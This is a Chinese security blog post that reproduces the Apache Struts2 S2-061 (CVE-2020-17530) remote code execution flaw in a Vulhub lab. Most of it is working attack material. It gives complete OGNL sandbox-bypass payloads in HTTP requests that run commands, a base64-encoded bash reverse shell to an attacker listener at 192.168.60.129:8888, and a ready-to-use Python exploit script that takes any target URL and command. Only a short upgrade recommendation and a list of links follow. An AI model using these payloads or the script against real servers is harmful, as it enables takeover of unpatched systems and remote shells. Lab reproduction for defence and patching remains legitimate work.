Apache Struts2 061远程代码执行漏洞复现 – 作者:lyjsyqw-安全小百科

0x00漏洞简述

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞，开发人员使用了 %{…} 语法，从而攻击者可以通过构Payload，从而造成远程代码执行。

该漏洞编号为 CVE-2020-17530 ，漏洞等级：高危，漏洞评分：7.5

S2-061是对S2-059沙盒进行的绕过！

0x01影响版本

Apache Struts2：2.0.0 – 2.5.25

0x02漏洞复现

漏洞项目

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、漏洞环境启动

2、访问漏洞环境

3、测试漏洞是否存在

%25%7b+%27yunzui%27+%2b+(520+%2b+520).toString()%7d

执行效果

http://192.168.60.139:8080/?id=%25%7b+%27yunzui%27+%2b+(520+%2b+520).toString()%7d

4、漏洞利用

1.DNSlog出网验证

域名生成 rtlyas.dnslog.cn

POST /index.action HTTP/1.1

Host: 192.168.60.139:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Length: 846

——WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name=”id”

%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“ping rtlyas.dnslog.cn”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}

——WebKitFormBoundaryl7d1B1aGsV2wcZwF–

DNGlog解析记录发现可以出网

2.exp进行命令执行 whoami

方法一

POST /index.action HTTP/1.1
Host: 192.168.60.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831

——WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=”id”

%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“whoami”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
——WebKitFormBoundaryl7d1B1aGsV2wcZwF–

方法二

——WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=”id”

%{
(#request.map=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map.setBean(#request.get(‘struts.valueStack’)) == true).toString().substring(0,0) +
(#request.map2=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map2.setBean(#request.get(‘map’).get(‘context’)) == true).toString().substring(0,0) +
(#request.map3=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map3.setBean(#request.get(‘map2’).get(‘memberAccess’)) == true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedPackageNames’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’)) == true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedClasses’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’)) == true).toString().substring(0,0) +
(#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘freemarker.template.utility.Execute’).exec({‘whoami’}))
}
——WebKitFormBoundaryl7d1B1aGsV2wcZwF–

3.反弹shell命令

通过以下在线地址将bash反弹命令进行进行编码转换

bash -i >& /dev/tcp/192.168.60.129/8888 0>&1

http://www.jackson-t.ca/runtime-exec-payloads.html

——WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=”id”

%{
(#request.map=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map.setBean(#request.get(‘struts.valueStack’)) == true).toString().substring(0,0) +
(#request.map2=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map2.setBean(#request.get(‘map’).get(‘context’)) == true).toString().substring(0,0) +
(#request.map3=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0) +
(#request.map3.setBean(#request.get(‘map2’).get(‘memberAccess’)) == true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedPackageNames’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’)) == true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedClasses’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’)) == true).toString().substring(0,0) +
(#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘freemarker.template.utility.Execute’).exec({‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOS84ODg4ICAwPiYx}|{base64,-d}|{bash,-i}’}))
}
——WebKitFormBoundaryl7d1B1aGsV2wcZwF–

发现可以成功反弹shell

4、Python脚本验证

# encoding=utf-8
import requests
import sys
from lxml import etree

def exp(url,cmd):
payload=”%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27″+cmd+”%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d”
tturl=url+”/?id=”+payload
r=requests.get(tturl)
page=r.text
# etree=html.etree
page=etree.HTML(page)
data = page.xpath(‘//a[@id]/@id’)
print(data[0])

if __name__==’__main__’:
print(‘+————————————————————+’)
print(‘+ EXP: python struts2-061-poc.py http://8.8.8.8:8080 id +’)
print(‘+ VER: Struts 2.0.0-2.5.25 +’)
print(‘+————————————————————+’)
print(‘+ S2-061 RCE && CVE-2020-17530 +’)
print(‘+————————————————————+’)
if len(sys.argv)!=3:
print(“[+]ussage: http://ip:port command”)
print(“[+]============================================================”)
sys.exit()
url=sys.argv[1]
cmd=sys.argv[2]
exp(url,cmd)

执行

python CVE-2020-17530.py http://192.168.60.139:8080 whoami

0x03修复建议

升级到 Struts 2.5.26 版本，下载地址为：

Version Notes 2.5.26

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26

0x04参考链接

https://mp.weixin.qq.com/s/rcfXIBSpNtgCFua0yUK_ew

https://blog.csdn.net/weixin_45728976/article/details/110875648

https://mp.weixin.qq.com/s/KyOTJtRvUm9pFXei0OZlVg

https://www.cnblogs.com/backlion/p/14122528.html

来源：freebuf.com 2020-12-12 11:55:48 by: lyjsyqw